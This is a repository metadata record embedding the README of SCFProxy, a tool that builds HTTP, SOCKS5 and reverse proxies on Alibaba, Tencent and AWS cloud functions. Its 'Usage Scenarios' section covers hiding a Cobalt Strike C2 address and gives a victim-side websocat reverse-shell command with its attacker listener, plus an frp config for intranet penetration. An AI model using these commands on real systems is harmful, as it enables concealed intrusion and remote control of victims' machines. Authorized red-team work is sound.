{"id":13547079,"url":"https://github.com/shimmeris/SCFProxy","last_synced_at":"2025-04-02T19:32:33.837Z","repository":{"id":37637783,"uuid":"359122926","full_name":"shimmeris/SCFProxy","owner":"shimmeris","description":"A proxy tool based on cloud function.","archived":false,"fork":false,"pushed_at":"2024-03-25T09:47:03.000Z","size":21918,"stargazers_count":995,"open_issues_count":12,"forks_count":266,"subscribers_count":12,"default_branch":"main","last_synced_at":"2024-11-03T15:38:32.689Z","etag":null,"topics":["aliyun","aws","proxy","proxypool","reverse-proxy","serverless","tencent-cloud"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/shimmeris.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2021-04-18T11:21:43.000Z","updated_at":"2024-11-03T06:54:41.000Z","dependencies_parsed_at":"2023-02-09T12:01:55.779Z","dependency_job_id":"8c3eed19-7dbd-4d85-8239-95b7b9ab329e","html_url":"https://github.com/shimmeris/SCFProxy","commit_stats":{"total_commits":33,"total_committers":2,"mean_commits":16.5,"dds":0.06060606060606055,"last_synced_commit":"ca6134e7ff27a9e05a5665890548480b29071214"},"previous_names":[],"tags_count":3,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/shimmeris%2FSCFProxy","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/shimmeris%2FSCFProxy/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/shimmeris%2FSCFProxy/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/shimmeris%2FSCFProxy/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/shimmeris","download_url":"https://codeload.github.com/shimmeris/SCFProxy/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":246880224,"owners_count":20848827,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["aliyun","aws","proxy","proxypool","reverse-proxy","serverless","tencent-cloud"],"created_at":"2024-08-01T12:00:50.681Z","updated_at":"2025-04-02T19:32:28.824Z","avatar_url":"https://github.com/shimmeris.png","language":"Python","readme":"# SCFProxy\n\n[README](README.md) | [中文文档](README_zh.md)\n\nSCFProxy is a tool to implement HTTP proxy, SOCKS proxy, and reverse proxy based on cloud function and API gateway\nprovided by several cloud service providers.\n\n# Installation\n\nGo to the [Release](https://github.com/shimmeris/SCFProxy/releases/) page to download the corresponding system package.\n\n## Configuration Guide\n\n## Configuration credentials\n\nSCFProxy will generate a `sdk.toml` configuration file in the `~/.config/scfproxy` directory to configure the credential\nof cloud providers.\n\nThis file will be loaded by default when `deploy/clear` command is run, or can be specified with the `-c config`\nparameter.\n\n## Supported Providers\n\n### Alibaba\n\n#### Restrictions\n\nReverse proxy is not supported\n\n#### credentials\n\nAlibaba requires the following credentials:\n\n* AccountId\n* AccessKeyId\n* AccessKeySecret\n\n`AccountId` can be obtained from the top right corner of the homepage under Personal Information\n![accountId](img/aliyun_accountid.jpg)\n\n`AccessKeyId/AccessKeySecret` can be added to the [IAM](https://ram.console.aliyun.com/users) page to generate keys for\nsub users\n\n### Tencent Cloud\n\n#### Restrictions\n\nDeployment outside of mainland China is extremely slow, so only regions in mainland China are currently supported\n\n#### credentials\n\nTencent Cloud requires the following credentials:\n\n* SecretId\n* SecretKey\n\nThe key can be generated by adding a sub user on the [IAM](https://console.cloud.tencent.com/cam) page\n\n### AWS\n\n#### Restrictions\n\nReverse proxy is not supported\n\n#### credentials\n\nAWS requires the following credentials:\n\n* AccessKeyId\n* AccessKeySecret\n* RoleArn\n\n`AccessKeyId/AccessKeySecret` can be generated on\nthe [IAM](https://us-east-1.console.aws.amazon.com/iamv2/home?region=us-east-1#/security_credentials) page.\n\n`RoleArn` can be created by referring to\nthe [Lambda Execution Roles](https://docs.aws.amazon.com/zh_cn/lambda/latest/dg/lambda-intro-execution-role.html) page,\nand then filling the corresponding role ARN into the ` sdk.toml` file.\n\n# Usage guide\n\n## Query\n\nThe `scfproxy list` accepts the following five parameters.\n\n* `provider` lists currently supported cloud providers and can be filtered by the `-m [http|socks|reverse]` parameter to\n  find the providers that support a certain proxy.\n* `region` list regions where cloud provider can be deployed, and the `-p providers` parameter is used to specify the\n  cloud provider\n* `http` Lists deployed HTTP proxies\n* `socks` Lists deployed SOCKS proxies\n* `reverse` List deployed reverse proxies\n\n## HTTP proxy\n\n### Deployment\n\n```console\nscfproxy deploy http -p provider_list -r region_list [-c providerConfigPath]\n```\n\n`provider_list` and `region_list` pass in a list of parameters separated by `,`.\n\n`region_list` supports the following 4 forms (supported on `deploy` and `clear` commands)\n\n* `*` for all regions\n* `area-*` indicates all regions with `area` prefix\n* `are-num` indicates the top `num` regions supported by the area (codes are returned in hard-coded order)\n* Standard region form provided by the cloud provider\n\nFor each `provider` provided in the parameter, the `region` is resolved as described above, and non-existent `regions`\nare ignored.\n\nExample:\n\n```console\n// Check the regions supported by Alibaba and Tencent\nscfproxy list region -p alibaba,tencent\n\nscfproxy deploy http -p alibaba,tencent -r ap-1,eu-*,cn-shanghai\n```\n\nThe result of the above command is\n\n1. Deploy the http proxy on `ap-northeast-1`, `eu-central-1`, ` eu-west-1`, `cn-shanghai` regions of `alibaba`\n2. Deploy the http proxy on `ap-beijing` region of `tencent`\n\nAll HTTP proxies deployed through this project will be saved in `~/.config/scfproxy/http.json` for loading when running\nthe http proxy.\n\n### Run\n\nThe first run will generate `scfproxy.cer` and `scfproxy.key` certificates in `~/.config/scfproxy/cert` directory, which\nneed to be imported into the system certificate and trusted before you can proxy\nhttps requests.\n\n```console\nscfproxy http -l address [-c cert_path] [-k key_path]\n```\n\n`-l address` is in the format `ip:port`, you can omit the ip and use the `:port` form for deployment, which is\nequivalent to `0.0.0.0:port`\n\nRunning HTTP proxy will load the records in `~/.config/scfproxy/http.json`, and if there are multiple deployed cloud\nfunctions (regardless of provider), each HTTP request will randomly pick one of them to proxy.\n\n#### Use effect\n\n![http](img/http.jpg)\n\n### Clear\n\n```console\nscfproxy clear http -p provider_list -r region_list [--completely]\n```\n\nThe clear function only removes triggers by default, if you want to remove functions at the same time, you need to add\nthe `-e/--completely` flag\n\n## SOCKS5 proxy\n\n### Deployment\n\n```console\nscfproxy deploy socks -p provider_list -r region_list [-c providerConfigPath]\n```\n\n### Run\n\n```console\nscfproxy socks -l socks_port -s scf_port -h address [--auth user:pass] [-c providerConfigPath]\n```\n\n`-l socks_port` listen to socks_port and wait for user's socks5 connection\n\n`-s scf_port` listens to scf_port and waits for connections from the cloud function\n\n`-h address` for specifying the vps address that cloud function to connect back to\n\n`--auth [user:pass]` for specifying socks authentication information, no authentication by default\n\nThe socks command needs to load `sdk.toml` for invoking functions and `~/.config/scfproxy/socks.json` for determining\nthe provider and region of the functions that can be invoked after deployment, so you need to copy the above two files\nto the corresponding location in the vps to run.\n\nIf there are multiple deployed cloud functions (regardless of provider), the socks proxy will trigger the execution of\neach cloud function and listen for connections from them, after which each socks connection from the client will\nrandomly pick one of the connections from the cloud function to proxy.\n\n\u003e The current timeout for socks proxy functions is 15m, so if you use socks proxy for a long connection such as mysql\n\u003e connection, you need to schedule it by yourself to avoid accidental connection disconnection when the time is up.\n\n#### Use effect\n\n**Long connections**\n\nThe socks5 proxy is used to connect to mysql, you can see that the ip address of the connection is from Alibaba, and\nthere is no disconnection between commands.\n![mysql](img/mysql.jpg)\n\n**short connection**\nSimilar to http, each connection will trigger the execution of the function\n![short](img/socks.jpg)\n\n### Clear\n\n```console\nscfproxy clear socks -p provider_list -r region_list\n```\n\n## Reverse proxy\n\n\u003e **Only Tencent Cloud currently supports reverse proxy**\n\n### Deploy\n\n```console\nscfproxy deploy reverse -p provider_list -r region_list -o origin [--ip ip_list]\n```\n\n`-o origin ` Used to specify the return source address to be used for reverse proxy, accepting HTTP and Websocket\nprotocols.\n\n`--ip ip_list` is used to restrict access to the source so that only the ip in `ip_list` can access the reverse proxy\ngateway address returned by the deployment.\n\n### Usage Scenarios\n\nThe following usage scenarios are possible based on reverse proxies.\n\n#### C2 address hide\n\nTake cobaltstrike for example, just fill in the api's domain name into the listener's host\n\n```console\nscfproxy deploy reverse ... -o http://vps --ip victim\n```\n\n![cs.png](img/cs.png)\n\n#### Reverse shell address hide\n\nWith the help of [websocat](https://github.com/vi/websocat), we can get reverse shell via websocket protocol.\n\n```console\nscfproxy deploy reverse ... -o ws://vps --ip victim\n```\n\nThe victim side executes.\n\n```console\nwebsocat ws://reverse_proxy_address sh-c:'/bin/bash -i 2\u003e\u00261' --binary -v --compress-zlib\n```\n\nThe attacker vps executes.\n\n```console\nwebsocat ws-l:0.0.0.0:port -- --binary -E --uncompress-zlib\n```\n\nThe effect is as shown in.\n![reverse_shell.png](img/reverse_shell.png)\n\n#### Intranet penetration address hide\n\nThis scenario requires intranet penetration software that supports websocket protocol.\n\n```console\nscfproxy deploy reverse ... -o ws://vps --ip victim\n```\n\nUsing [frp](https://github.com/fatedier/frp) as an example, the client configuration.\n\n```ini\n[common]\nserver_addr = reverse_proxy_domain\nserver_port = 80\ntls_enable = true \nprotocol = websocket\n\n[plugin_sock5]\ntype = tcp\nremote_port = 8080\nplugin = socks5\nuse_encryption = true\nuse_compression = true\n```\n\nThe effect is as shown in the E\n\n![frp](img/frp.png)\n\n### Clear\n\n```console\nscfproxy clear reverse -p provider_list -r region_list -o origin\n```\n\nThe `-o origin` argument is used to locate the service to be removed\n\n# TODO\n\n- [x] Optimize and add reverse proxy functionality for other providers\n- [ ] Optimize the code\n- [ ] Beautify the output and error handling\n- [ ] Add other cloud providers such as Huawei Cloud, GCP, Azure, etc.\n\n","funding_links":[],"categories":["Python","其他_安全与渗透"],"sub_categories":["网络服务_其他"],"project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fshimmeris%2FSCFProxy","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fshimmeris%2FSCFProxy","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fshimmeris%2FSCFProxy/lists"}